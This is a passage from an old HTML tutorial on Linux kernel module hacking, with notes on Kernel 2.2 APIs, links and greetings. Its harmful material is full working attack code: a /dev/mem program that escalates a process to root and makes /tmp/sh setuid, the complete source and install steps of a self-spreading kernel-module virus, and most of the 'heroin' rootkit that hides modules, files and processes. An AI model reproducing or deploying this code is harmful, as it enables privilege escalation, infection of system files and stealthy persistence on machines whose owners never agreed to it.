- start of the kmalloc pool). This is the best place to insert our code. Ok this
- is not the whole story, you may recognize that no useful LKM will fit into this
- little buffer. Silvio Cesare used some bootstrap code he put into this little
- buffer; this code loads the actual LKM. This way we can load LKMs on systems
- without support for this. Please read Silvio Cesare's paper for a in-depth
- discussion on actually mapping a LKM file (elf format) into the kernel; this
- is a bit difficult.
- <H3><A NAME="IV.3."></A>3. Last words</h3>
- Section 2 was nice, but what about systems which do not permit access to kmem?
- Well a last way would be inserting/modifying kernel space with the help of some
- kernel bugs. There are always some buffer overflows and other problems in kernel
- space. Also consider checking modules for some bugs. Just take a look at the many
- source files of the kernel. Even user space programs can help us to modify the
- kernel.<br>
- Bear in mind, that some weeks months ago a bug concerning svgalib was found. Every program
- using svgalib gets a handle with write permissions to /dev/mem. /dev/mem can also
- be used for RKP with the same adresses as /dev/kmem. So look at the following
- list, to get some ideas how to do RKP on very secure systems :
- <ul>
- <li>find a program that uses svgalib<br>
- <li>check the source of that program for common buffer overflows (should be not
- too hard)
- <li>write an exploit which starts a program using the open /dev/mem write handle
- to manipulate the appropriate task structure to make your process UID 0
- <li>create a root shell
- </ul>
- This generic scheme works very fine (zgv, gnuplot or some know examples). For
- patching the task structure some people use the following program (which uses
- the open write handle) by Nergal :
- <XMP>
- /* by Nergal */
- #define SEEK_SET 0
- #define __KERNEL__
- #include <linux/sched.h>
- #undef __KERNEL__
- #define SIZEOF sizeof(struct task_struct)
- int mem_fd;
- int mypid;
- void
- testtask (unsigned int mem_offset)
- {
- struct task_struct some_task;
- int uid, pid;
- lseek (mem_fd, mem_offset, SEEK_SET);
- read (mem_fd, &some_task, SIZEOF);
- if (some_task.pid == mypid) /* is it our task_struct ? */
- {
- some_task.euid = 0;
- some_task.fsuid = 0; /* needed for chown */
- lseek (mem_fd, mem_offset, SEEK_SET);
- write (mem_fd, &some_task, SIZEOF);
- /* from now on, there is no law beyond do what thou wilt */
- chown ("/tmp/sh", 0, 0);
- chmod ("/tmp/sh", 04755);
- exit (0);
- }
- }
- #define KSTAT 0x001a8fb8 /* <-- replace this addr with that of your kstat */
- main () /* by doing strings /proc/ksyms |grep kstat */
- {
- unsigned int i;
- struct task_struct *task[NR_TASKS];
- unsigned int task_addr = KSTAT - NR_TASKS * 4;
- mem_fd = 3; /* presumed to be opened /dev/mem */
- mypid = getpid ();
- lseek (mem_fd, task_addr, SEEK_SET);
- read (mem_fd, task, NR_TASKS * 4);
- for (i = 0; i < NR_TASKS; i++)
- if (task[i])
- testtask ((unsigned int)(task[i]));
- }
- </xmp>
- This was just an example to show you that there is always one way, you only have
- to find it. Systems with stack execution patches, you could look for heap
- overflows or just jump into some library functions (system(...)). There are thousand
- ways...<br>
- I hope this last section gave you some ideas how to proceed.
- <u><b>
- <H2>V. The near future : Kernel 2.2.x</H2>
- </u></b>
- <P><P>
- <H3><A NAME="V.1."></A>1. Main Difference for LKM writer's</h3>
- Linux has a new Kernel major Version 2.2 which brings some little changes to LKM
- coding. This part will help you to make the change, and outline the biggest
- changes. [Note : There will be another release concentrating on the new kernel]<br>
- I will show you some new macros / functions which will help you to develope
- LKMs for Kernel 2.2. For an exact listing of every change take a look at the
- new Linux/module.h include file, which was totally rewritten for Kernel 2.1.18.
- First we will look at some macros which will help us to handle the System Table
- in an easier way :
- <TABLE border=5 width=100%>
- <tr>
- <th>macro</th>
- <th>description</th>
- <tr>
- <td>EXPORT_NO_SYMBOLS;</td>
- <td>this one is equal to register_symtab(NULL) for older kernel versions</td>
- </tr>
- <tr>
- <td>EXPORT_SYMTAB;</td>
- <td>this one must be defined before linux/module.h if you want to export some symbols</td>
- </tr>
- <tr>
- <td>EXPORT_SYMBOL(name);</td>
- <td>export the symbol named 'name'</td>
- </tr>
- <tr>
- <td>EXPORT_SYMBOL_NOVERS
- (name);</td>
- <td>export without version information</td>
- </tr>
- </table>
- The user space access functions were also changed a bit, so I will list them
- here (just include asm/uaccess.h to use them) :
- <TABLE border=5 width=100%>
- <tr>
- <th>function</th>
- <th>description</th>
- <tr>
- <td>int access_ok
- (int type, unsigned long
- addr, unsigned long size);</td>
- <td>this function checks whether the current process is allowed to access addr</td>
- </tr>
- <tr>
- <td>unsigned long
- copy_from_user
- (unsigned long to,
- unsigned long from,
- unsigned long len);</td>
- <td>this is the 'new' memcpy_tofs function</td>
- </tr>
- <tr>
- <td>unsigned long
- copy_to_user
- (unsigned long to,
- unsigned long from,
- unsigned long len);</td>
- <td>this is the counterpart of copy_from_user(...)</td>
- </tr>
- </table>
- You don't need to use access_ok(...) because the function listed above check
- this themselves.
- There are many more differences, but you should really take a look at linux/module.h
- for a detailed listing.<br>
- I want to mention one last thing. I wrote lots of stuff on the kerneldaemon
- (kerneld). Kernel 2.2 will not use kerneld any more. It uses another way of
- implementing the request_module(...) kernel space function - it's called <i>kmod</i>.
- kmod totally runs in kernel space (no IPC to user space any more). For LKM
- programmers nothing changes, you can still use the request_module(...) for
- loading modules. So the LKM infectors could use this also on kernel 2.2 systems.<br>
- I'm sorry about this little kernel 2.2 section, but at the moment I am working
- on a general paper on kernel 2.2 security (especially the lkm behaviour). So watch
- out for new THC releases. I even plan to work on some BSD systems (FreeBSD, OpenBSD,
- for example) but this will take some months.
- <u><b>
- <H2>VI. Last Words</h2>
- </u></b>
- <P><P>
- <H3><A NAME="VI.1."></A>1. The 'LKM story' or 'how to make a system plug & hack compatible'</h3>
- You may wounder how insecure LKMs are and why they are used in such an insecure
- ways. Well LKMs are designed to make life easier especially for users.Linux fights
- agains Microsoft, so developers need a way to make the old unix style a bit more
- attractive and easier. They implement things like KDE and other nice things.
- Kerneld, for example, was developed in order to make module handling easier.
- But remember, the easier and more automated a system is the more problems
- concerning security are possible. It is <i>impossible</i> to make a system usable by
- everyone and being secure enough. Modules are a great example for this.<br>
- Microsoft shows us other examples : thinking of ActiveX, which is a (maybe) good
- idea, with a cruel securiy design for keeping everything simple.<br>
- So dear Linux developers : Be careful, and don't make the fault Microsoft made,
- don't create a plug & hack compatible OS. KEEP SECURITY IN MIND !<br>
- This text should also make clear that the kernel of any system must be protected
- in the best way available.It must be impossible for attackers to modify the most
- important item of your whole system. I leave this task to all system designers
- out there :).
- <H3><A NAME="VI.2."></A>2. Links to other Resources</h3>
- Here are some interesting links about LKMs (not only hack & securiy related):<br>
- <b>[Internet]</b><br>
- <A HREF="http://www.linuxhq.com">http://www.linuxhq.com</A><br>
- everything on Linux + nice kernel links<br>
- <A HREF="http://www.linuxlinks.com">http://www.linuxlinks.com</a><br>
- lots of links concerning Linux<br>
- <A HREF="http://www.linux.org">http://www.linux.org</a><br>
- 'propaganda' page for Linux<br>
- <A HREF="http://www.lwn.net">http://www.lwn.net</a><br>
- weekly Linux news; very interesting there are also kernel / securiy sections<br>
- <A HREF="http://www.phrack.com">http://www.phrack.com</a><br>
- read issue 50 & 52 for interesting module information<br>
- <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
- they have some nice LKMs<br>
- <A HREF="http://www.geek-girl.com/bugtraq/">http://www.geek-girl.com/bugtraq/</a><br>
- there were some discussions on LKM security<br>
- <A HREF="http://hispahack.ccc.de">http://hispahack.ccc.de</a><br>
- HISPAHACK homepage<br>
- <A HREF="http://www.thc.org">http://www.thc.org</a><br>
- THC homepage (articles, magazines and lots of tools)<br>
- <A HREF="http://www.antisearch.com">http://www.antisearch.com</a><br>
- one of the best security / hacking related search engines I know<br>
- <A HREF="http://www.kernel.org">http://www.kernel.org</a><br>
- get the kernel and study it !<br>
- <p>
- <b>[Books]</b><br>
- Linux-Kernel-Programming (Addison Wesley) <br>
- A very good book. I read the german version but I think there is also an english
- version.
- <p>
- Linux Device Drivers (O'Reilly)<br>
- A bit off topic, but also very interesting. The focus is more on writing LKMs
- as device drivers.
- <H3><A NAME="Acknowledgements"></A>Acknowledgements</h3>
- <p>
- <u><b>Thanks for sources / ideas fly to :</u></b>
- <p>
- plaguez, Solar Designer, halflife, Michal Zalewski, Runar Jensen, Aleph1,
- Stealthf0rk/SVAT, FLoW/HISPAHACK, route, Andrew Tridgell, Silvio Cesare,
- daemon9, Nergal, van Hauser (especially for showing me some bugs) and those
- nameless individuals providing us with their ideas (there are so many) !
- <H3><A NAME="Greets"></A>Greets </h3>
- <u>groups</u> : THC, deep, ech0, ADM, =phake=<br>
- <p>
- <u>personal</u> :
- <dd>van Hauser - thanks for giving me the chance to learn </dd>
- <dd>mindmaniac - thanks for introducing 'the first contact'</dd>
-
-
- <p>
- <p>
- background music groups (helping me to concentrate on writing :):<br>
- <i>Neuroactive, Image Transmission, Panic on the Titanic, Dracul</i>
- <P><P><P><P>
- <HR SIZE="3" NOSHADE="NOSHADE">
- <P>
- <HR SIZE="3" NOSHADE="NOSHADE">
- <P><P><P><P>
- <u><b>
- <H2>A - Appendix</h2>
- </u></b>
- <P><P>
- Here you will find some sources.If the author of the LKM also published some
- notes / texts which are interesting, they will also be printed.<br>
- <H3><A NAME="A-a"></A>LKM Infector</h3>
- <b>NAME</b> : moduleinfect.c<br>
- <b>AUTHOR</b> : <A HREF="mailto:stealth@cyberspace.org">Stealthf0rk/SVAT <stealth@cyberspace.org></a><br>
- <b>DESCRIPTION</b> : This is the first published LKM infector which was discussed
- II.8. This LKM has no destruction routine, it's just an
- infector, so experimenting should be quite harmless.<br>
- <b>LINK</b> : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
-
- <xmp>
- /* SVAT - Special Virii And Trojans - present:
- *
- * -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=-
- *
- * 0kay guys, here we go...
- * As i told you with VLP I (we try to write an fast-infector)
- * here's the result:
- * a full, non-overwriting module infector that catches
- * lkm's due to create_module() and infects them (max. 7)
- * if someone calls delete_module() [even on autoclean].
- * Linux is not longer a virii-secure system :(
- * and BSD follows next week ...
- * Since it is not needed 2 get root (by the module) you should pay
- * attention on liane.
- * Note the asm code in function init_module().
- * U should assemble your /usr/src/.../module.c with -S and your CFLAG
- * from your Makefile and look for the returnvalue from the first call
- * of find_module() in sys_init_module(). look where its stored (%ebp for me)
- * and change it in __asm__ init_module()! (but may it is not needed)
- *
- * For education only!
- * Run it only with permisson of the owner of the system you are logged on!!!
- *
- * !!! YOU USE THIS AT YOUR OWN RISK !!!
- *
- * I'm not responsible for any damage you may get due to playing around with this.
- *
- * okay guys, you have to find out some steps without my help:
- *
- * 1. $ cc -c -O2 module.c
- * 2. get length of module.o and patch the #define MODLEN in module.c
- * 3. $ ???
- * 4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o
- * 5. $ mv module.o /lib/modules/2.0.33/fs/fat.o
- * >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:<
- * 6. $ insmod ???
- *
- * This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and
- * kernel 2.0.33. It works.
- *
- * greets (in no order...)
- * <><><><><><><><><><><><>
- *
- * NetW0rker - tkx for da sources
- * Serialkiller - gib mir mal deine eMail-addy
- * hyperSlash - 1st SVAT member, he ?
- * naleZ - hehehe
- * MadMan - NetW0rker wanted me to greet u !?
- * KilJaeden - TurboDebugger and SoftIce are a good choice !
- *
- * and all de otherz
- *
- * Stealthf0rk/SVAT <stealth@cyberspace.org>
- */
- #define __KERNEL__
- #define MODULE
- #define MODLEN 7104
- #define ENOUGH 7
- #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
- #define END_KMEM set_fs(old_fs);}
- /* i'm not sure we need all of 'em ...*/
- #include <linux/version.h>
- #include <linux/mm.h>
- #include <linux/unistd.h>
- #include <linux/fs.h>
- #include <linux/types.h>
- #include <asm/errno.h>
- #include <asm/string.h>
- #include <linux/fcntl.h>
- #include <sys/syscall.h>
- #include <linux/module.h>
- #include <linux/malloc.h>
- #include <linux/kernel.h>
- #include <linux/kerneld.h>
- #define __NR_our_syscall 211
- #define MAXPATH 30
- /*#define DEBUG*/
- #ifdef DEBUG
- #define DPRINTK(format, args...) printk(KERN_INFO format,##args)
- #else
- #define DPRINTK(format, args...)
- #endif
- /* where the sys_calls are */
- extern void *sys_call_table[];
- /* tested only with kernel 2.0.33, but thiz should run under 2.x.x
- * if you change the default_path[] values
- */
- static char *default_path[] = {
- ".", "/linux/modules",
- "/lib/modules/2.0.33/fs",
- "/lib/modules/2.0.33/net",
- "/lib/modules/2.0.33/scsi",
- "/lib/modules/2.0.33/block",
- "/lib/modules/2.0.33/cdrom",
- "/lib/modules/2.0.33/ipv4",
- "/lib/modules/2.0.33/misc",
- "/lib/modules/default/fs",
- "/lib/modules/default/net",
- "/lib/modules/default/scsi",
- "/lib/modules/default/block",
- "/lib/modules/default/cdrom",
- "/lib/modules/default/ipv4",
- "/lib/modules/default/misc",
- "/lib/modules/fs",
- "/lib/modules/net",
- "/lib/modules/scsi",
- "/lib/modules/block",
- "/lib/modules/cdrom",
- "/lib/modules/ipv4",
- "/lib/modules/misc",
- 0
- };
- static struct symbol_table my_symtab = {
- #include <linux/symtab_begin.h>
- X(printk),
- X(vmalloc),
- X(vfree),
- X(kerneld_send),
- X(current_set),
- X(sys_call_table),
- X(register_symtab_from),
- #include <linux/symtab_end.h>
- };
- char files2infect[7][60 + 2];
- /* const char kernel_version[] = UTS_RELEASE; */
- int (*old_create_module)(char*, int);
- int (*old_delete_module)(char *);
- int (*open)(char *, int, int);
- int (*close)(int);
- int (*unlink)(char*);
- int our_syscall(int);
- int infectfile(char *);
- int is_infected(char *);
- int cp(struct file*, struct file*);
- int writeVir(char *, char *);
- int init_module2(struct module*);
- char *get_mod_name(char*);
- /* needed to be global */
- void *VirCode = NULL;
- /* install new syscall to see if we are already in kmem */
- int our_syscall(int mn)
- {
- /* magic number: 40hex :-) */
- if (mn == 0x40)
- return 0;
- else
- return -ENOSYS;
- }
- int new_create_module(char *name, int size)
- {
- int i = 0, j = 0, retval = 0;
-
- if ((retval = old_create_module(name, size)) < 0)
- return retval;
- /* find next free place */
- for (i = 0; files2infect[i][0] && i < 7; i++);
- if (i == 6)
- return retval;
- /* get name of mod from user-space */
- while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && j < 60)
- j++;
- DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i);
- return retval;
- }
- /* we infect modules after sys_delete_module, to be sure
- * we don't confuse the kernel
- */
- int new_delete_module(char *modname)
- {
- static int infected = 0;
- int retval = 0, i = 0;
- char *s = NULL, *name = NULL;
-
-
- retval = old_delete_module(modname);
- if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
- return retval;
- for (i = 0; files2infect[i][0] && i < 7; i++) {
- strcat(files2infect[i], ".o");
- if ((s = get_mod_name(files2infect[i])) == NULL) {
- return retval;
- }
- name = strcpy(name, s);
- if (!is_infected(name)) {
- DPRINTK("try 2 infect %s as #%d\n", name, i);
- infected++;
- infectfile(name);
- }
- memset(files2infect[i], 0, 60 + 2);
- } /* for */
- /* its enough */
- if (infected >= ENOUGH)
- cleanup_module();
- vfree(name);
- return retval;
- }
- /* lets take a look at sys_init_module(), that calls
- * our init_module() compiled with
- * CFLAG = ... -O2 -fomit-frame-pointer
- * in C:
- * ...
- * if((mp = find_module(name)) == NULL)
- * ...
- *
- * is in asm:
- * ...
- * call find_module
- * movl %eax, %ebp
- * ...
- * note that there is no normal stack frame !!!
- * thats the reason, why we find 'mp' (return from find_module) in %ebp
- * BUT only when compiled with the fomit-frame-pointer option !!!
- * with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp)
- * you should find mp at -4(%ebp) .
- * thiz is very bad hijacking of local vars and an own topic.
- * I hope you do not get an seg. fault.
- */
- __asm__
- ("
- .align 16
- .globl init_module
- .type init_module,@function
- init_module:
- pushl %ebp /* ebp is a pointer to mp from sys_init_module() */
- /* and the parameter for init_module2() */
- call init_module2
- popl %eax
- xorl %eax, %eax /* all good */
- ret /* and return */
- .hype27:
- .size init_module,.hype27-init_module
- ");
-
- /* for the one with no -fomit-frame-pointer and no -O2 this should (!) work:
- *
- * pushl %ebx
- * movl %ebp, %ebx
- * pushl -4(%ebx)
- * call init_module2
- * addl $4, %esp
- * xorl %eax, %eax
- * popl %ebx
- * ret
- */
- /*----------------------------------------------*/
- int init_module2(struct module *mp)
- {
- char *s = NULL, *mod = NULL, *modname = NULL;
- long state = 0;
-
- mod = vmalloc(60 + 2);
- modname = vmalloc(MAXPATH + 60 + 2);
- if (!mod || !modname)
- return -1;
- strcpy(mod, mp->name);
- strcat(mod, ".o");
-
- MOD_INC_USE_COUNT;
- DPRINTK("in init_module2: mod = %s\n", mod);
-
- /* take also a look at phrack#52 ...*/
- mp->name = "";
- mp->ref = 0;
- mp->size = 0;
- /* thiz is our new main ,look for copys in kmem ! */
- if (sys_call_table[__NR_our_syscall] == 0) {
- old_delete_module = sys_call_table[__NR_delete_module];
- old_create_module = sys_call_table[__NR_create_module];
- sys_call_table[__NR_our_syscall] = (void*)our_syscall;
- sys_call_table[__NR_delete_module] = (void*)new_delete_module;
- sys_call_table[__NR_create_module] = (void*)new_create_module;
- memset(files2infect, 0, (60 + 2)*7);
- register_symtab(&my_symtab);
- }
- open = sys_call_table[__NR_open];
- close = sys_call_table[__NR_close];
- unlink = sys_call_table[__NR_unlink];
-
- if ((s = get_mod_name(mod)) == NULL)
- return -1;
- modname = strcpy(modname, s);
- load_real_mod(modname, mod);
- vfree(mod);
- vfree(modname);
- return 0;
- }
- int cleanup_module()
- {
- sys_call_table[__NR_delete_module] = old_delete_module;
- sys_call_table[__NR_create_module] = old_create_module;
- sys_call_table[__NR_our_syscall] = NULL;
- DPRINTK("in cleanup_module\n");
- vfree(VirCode);
- return 0;
- }
- /* returns 1 if infected;
- * seek at position MODLEN + 1 and read out 3 bytes,
- * if it is "ELF" it seems the file is already infected
- */
- int is_infected(char *filename)
- {
- char det[4] = {0};
- int fd = 0;
- struct file *file;
- DPRINTK("in is_infected: filename = %s\n", filename);
- BEGIN_KMEM
- fd = open(filename, O_RDONLY, 0);
- END_KMEM
- if (fd <= 0)
- return -1;
- if ((file = current->files->fd[fd]) == NULL)
- return -2;
- file->f_pos = MODLEN + 1;
- DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos);
- BEGIN_KMEM
- file->f_op->read(file->f_inode, file, det, 3);
- close(fd);
- END_KMEM
- DPRINTK("in is_infected: det = %s\n", det);
- if (strcmp(det, "ELF") == 0)
- return 1;
- else
- return 0;
- }
- /* copy the host-module to tmp, write VirCode to
- * hostmodule, and append tmp.
- * then delete tmp.
- */
- int infectfile(char *filename)
- {
- char *tmp = "/tmp/t000";
- int in = 0, out = 0;
- struct file *file1, *file2;
-
- BEGIN_KMEM
- in = open(filename, O_RDONLY, 0640);
- out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
- END_KMEM
- DPRINTK("in infectfile: in = %d out = %d\n", in, out);
- if (in <= 0 || out <= 0)
- return -1;
- file1 = current->files->fd[in];
- file2 = current->files->fd[out];
- if (!file1 || !file2)
- return -1;
- /* save hostcode */
- cp(file1, file2);
- BEGIN_KMEM
- file1->f_pos = 0;
- file2->f_pos = 0;
- /* write Vircode [from mem] */
- DPRINTK("in infetcfile: filenanme = %s\n", filename);
- file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
- /* append hostcode */
- cp(file2, file1);
- close(in);
- close(out);
- unlink(tmp);
- END_KMEM
- return 0;
- }
- int disinfect(char *filename)
- {
- char *tmp = "/tmp/t000";
- int in = 0, out = 0;
- struct file *file1, *file2;
-
- BEGIN_KMEM
- in = open(filename, O_RDONLY, 0640);
- out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
- END_KMEM
- DPRINTK("in disinfect: in = %d out = %d\n",in, out);
- if (in <= 0 || out <= 0)
- return -1;
- file1 = current->files->fd[in];
- file2 = current->files->fd[out];
- if (!file1 || !file2)
- return -1;
- /* save hostcode */
- cp(file1, file2);
- BEGIN_KMEM
- close(in);
- DPRINTK("in disinfect: filename = %s\n", filename);
- unlink(filename);
- in = open(filename, O_RDWR|O_CREAT, 0640);
- END_KMEM
- if (in <= 0)
- return -1;
- file1 = current->files->fd[in];
- if (!file1)
- return -1;
- file2->f_pos = MODLEN;
- cp(file2, file1);
- BEGIN_KMEM
- close(in);
- close(out);
- unlink(tmp);
- END_KMEM
- return 0;
- }
- /* a simple copy routine, that expects the file struct pointer
- * of the files to be copied.
- * So its possible to append files due to copieng.
- */
- int cp(struct file *file1, struct file *file2)
- {
- int in = 0, out = 0, r = 0;
- char *buf;
-
- if ((buf = (char*)vmalloc(10000)) == NULL)
- return -1;
- DPRINTK("in cp: f_pos = %d\n", file1->f_pos);
- BEGIN_KMEM
- while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0)
- file2->f_op->write(file2->f_inode, file2, buf, r);
- file2->f_inode->i_mode = file1->f_inode->i_mode;
- file2->f_inode->i_atime = file1->f_inode->i_atime;
- file2->f_inode->i_mtime = file1->f_inode->i_mtime;
- file2->f_inode->i_ctime = file1->f_inode->i_ctime;
- END_KMEM
- vfree(buf);
- return 0;
- }
- /* Is that simple: we disinfect the module [hide 'n seek]
- * and send a request to kerneld to load
- * the orig mod. N0 fuckin' parsing for symbols and headers
- * is needed - cool.
- */
- int load_real_mod(char *path_name, char *name)
- {
- int r = 0, i = 0;
- struct file *file1, *file2;
- int in = 0, out = 0;
- DPRINTK("in load_real_mod name = %s\n", path_name);
- if (VirCode)
- vfree(VirCode);
- VirCode = vmalloc(MODLEN);
- if (!VirCode)
- return -1;
- BEGIN_KMEM
- in = open(path_name, O_RDONLY, 0640);
- END_KMEM
- if (in <= 0)
- return -1;
- file1 = current->files->fd[in];
- if (!file1)
- return -1;
- /* read Vircode [into mem] */
- BEGIN_KMEM
- file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
- close(in);
- END_KMEM
- disinfect(path_name);
- r = request_module(name);
- DPRINTK("in load_real_mod: request_module = %d\n", r);
- return 0;
- }
-
- char *get_mod_name(char *mod)
- {
- int fd = 0, i = 0;
- static char* modname = NULL;
-
- if (!modname)
- modname = vmalloc(MAXPATH + 60 + 2);
- if (!modname)
- return NULL;
- BEGIN_KMEM
- for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL)); i++) {
- memset(modname, 0, MAXPATH + 60 + 2);
- modname = strcpy(modname, default_path[i]);
- modname = strcat(modname, "/");
- modname = strcat(modname, mod);
- if ((fd = open(modname, O_RDONLY, 0640)) > 0)
- break;
- }
- close(fd);
- END_KMEM
- if (!default_path[i])
- return NULL;
- return modname;
- }
- </xmp>
- <H3><A NAME="A-b"></A>Herion - the classic one</h3>
- <b>NAME</b> : Heroin<br>
- <b>AUTHOR</b> : <A HREF="mailto:zarq@opaque.org">Runar Jensen</a><br>
- <b>DESCRIPTION</b> : Runar Jensen introduced some nice ideas in his text, which
- were the first steps towards our modern Hide LKM by plaguez.
- The way Runar Jensen hides the module requires more coder work
- than the plaguez (Solar Designer and other people) approach,
- but it works. The way Runar Jensen hides processes is also a
- bit too complicated (well this text is quite old, and it was
- one of the first talking about LKM hacking), He uses a special
- signal code (31) in order to set a flag in a process structure
- which indicates that this process is going to be hidden, in
- the way we discussed in part II. <br>
- The rest should be clear. <br>
- <b>LINK</b> : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
-
- <xmp>
- As halflife demonstrated in Phrack 50 with his linspy project, it is trivial
- to patch any systemcall under Linux from within a module. This means that
- once your system has been compromised at the root level, it is possible for
- an intruder to hide completely _without_ modifying any binaries or leaving
- any visible backdoors behind. Because such tools are likely to be in use
- within the hacker community already, I decided to publish a piece of code to
- demonstrate the potentials of a malicious module.
- The following piece of code is a fully working Linux module for 2.1 kernels
- that patches the getdents(), kill(), read() and query_module() calls. Once
- loaded, the module becomes invisible to lsmod and a dump of /proc/modules by
- modifying the output of every query_module() call and every read() call
- accessing /proc/modules. Apparently rmmod also calls query_module() to list
- all modules before attempting to remove the specified module, and will
- therefore claim that the module does not exist even if you know its name. The
- output of any getdents() call is modified to hide any files or directories
- starting with a given string, leaving them accessible only if you know their
- exact names. It also hides any directories in /proc matching pids that have a
- specified flag set in its internal task structure, allowing a user with root
- access to hide any process (and its children, since the task structure is
- duplicated when the process does a fork()). To set this flag, simply send the
- process a signal 31 which is caught and handled by the patched kill() call.
- To demonstrate the effects...
- [root@image:~/test]# ls -l
- total 3
- -rw------- 1 root root 2832 Oct 8 16:52 heroin.o
- [root@image:~/test]# insmod heroin.o
- [root@image:~/test]# lsmod | grep heroin
- [root@image:~/test]# grep heroin /proc/modules
- [root@image:~/test]# rmmod heroin
- rmmod: module heroin not loaded
- [root@image:~/test]# ls -l
- total 0
- [root@image:~/test]# echo "I'm invisible" > heroin_test
- [root@image:~/test]# ls -l
- total 0
- [root@image:~/test]# cat heroin_test
- I'm invisible
- [root@image:~/test]# ps -aux | grep gpm
- root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
- [root@image:~/test]# kill -31 223
- [root@image:~/test]# ps -aux | grep gpm
- [root@image:~/test]# ps -aux 223
- USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND
- root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
- [root@image:~/test]# ls -l /proc | grep 223
- [root@image:~/test]# ls -l /proc/223
- total 0
- -r--r--r-- 1 root root 0 Oct 8 16:53 cmdline
- lrwx------ 1 root root 0 Oct 8 16:54 cwd -> /var/run
- -r-------- 1 root root 0 Oct 8 16:54 environ
- lrwx------ 1 root root 0 Oct 8 16:54 exe -> /usr/bin/gpm
- dr-x------ 1 root root 0 Oct 8 16:54 fd
- pr--r--r-- 1 root root 0 Oct 8 16:54 maps
- -rw------- 1 root root 0 Oct 8 16:54 mem
- lrwx------ 1 root root 0 Oct 8 16:54 root -> /
- -r--r--r-- 1 root root 0 Oct 8 16:53 stat
- -r--r--r-- 1 root root 0 Oct 8 16:54 statm
- -r--r--r-- 1 root root 0 Oct 8 16:54 status
- [root@image:~/test]#
- The implications should be obvious. Once a compromise has taken place,
- nothing can be trusted, the operating system included. A module such as this
- could be placed in /lib/modules/<kernel_ver>/default to force it to be loaded
- after every reboot, or put in place of a commonly used module and in turn
- have it load the required module for an added level of protection. (Thanks
- Sean :) Combined with a reasonably obscure remote backdoor it could remain
- undetected for long periods of time unless the system administrator knows
- what to look for. It could even hide the packets going to and from this
- backdoor from the kernel itself to prevent a local packet sniffer from seeing
- them.
- So how can it be detected? In this case, since the number of processes is
- limited, one could try to open every possible process directory in /proc and
- look for the ones that do not show up otherwise. Using readdir() instead of
- getdents() will not work, since it appears to be just a wrapper for
- getdents(). In short, trying to locate something like this without knowing
- exactly what to look for is rather futile if done in userspace...
- Be afraid. Be very afraid. ;)
- .../ru
- -----
- /*
- * heroin.c
- *
- * Runar Jensen <zarq@opaque.org>
- *
- * This Linux kernel module patches the getdents(), kill(), read()
- * and query_module() system calls to demonstrate the potential
- * dangers of the way modules have full access to the entire kernel.
- *
- * Once loaded, the module becomes invisible and can not be removed
- * with rmmod. Any files or directories starting with the string
- * defined by MAGIC_PREFIX appear to disappear, and sending a signal
- * 31 to any process as root effectively hides it and all its future
- * children.
- *
- * This code should compile cleanly and work with most (if not all)
- * recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57.
- * It will not compile as is under 2.0.30, since 2.0.30 lacks the
- * query_module() function.
- *
- * Compile with:
- * gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c
- */
- #include <linux/fs.h>
- #include <linux/module.h>
- #include <linux/modversions.h>
- #include <linux/malloc.h>
- #include <linux/unistd.h>
- #include <sys/syscall.h>
- #include <linux/dirent.h>
- #include <linux/proc_fs.h>
- #include <stdlib.h>
- #define MAGIC_PREFIX "heroin"
- #define PF_INVISIBLE 0x10000000
- #define SIGINVISI 31
- int errno;
- static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
- static inline _syscall2(int, kill, pid_t, pid, int, sig);
- static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
- static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret);
- extern void *sys_call_table[];
- int (*original_getdents)(unsigned int, struct dirent *, unsigned int);
- int (*original_kill)(pid_t, int);
- int (*original_read)(int, void *, size_t);
- int (*original_query_module)(const char *, int, void *, size_t, size_t *);
- int myatoi(char *str)
- {
- int res = 0;
- int mul = 1;
- char *ptr;
- for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
- if(*ptr < '0' || *ptr > '9')
- return(-1);
- res += (*ptr - '0') * mul;
- mul *= 10;
- }
- return(res);
- }
- void mybcopy(char *src, char *dst, unsigned int num)
- {
- while(num--)
- *(dst++) = *(src++);
- }
- int mystrcmp(char *str1, char *str2)
- {
- while(*str1 && *str2)
- if(*(str1++) != *(str2++))
- return(-1);
- return(0);
- }
- struct task_struct *find_task(pid_t pid)
- {
- struct task_struct *task = current;
- do {
- if(task->pid == pid)
- return(task);
- task = task->next_task;
- } while(task != current);
- return(NULL);
- }
- int is_invisible(pid_t pid)
- {
- struct task_struct *task;
- if((task = find_task(pid)) == NULL)
- return(0);
- if(task->flags & PF_INVISIBLE)
- return(1);
- return(0);
- }
- int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
- {
- int res;
- int proc = 0;
- struct inode *dinode;
- char *ptr = (char *)dirp;
- struct dirent *curr;
- struct dirent *prev = NULL;
- res = (*original_getdents)(fd, dirp, count);
- if(!res)
- return(res);
- if(res == -1)
- return(-errno);
- #ifdef __LINUX_DCACHE_H
- dinode = current->files->fd[fd]->f_dentry->d_inode;
- #else
- dinode = current->files->fd[fd]->f_inode;
- #endif
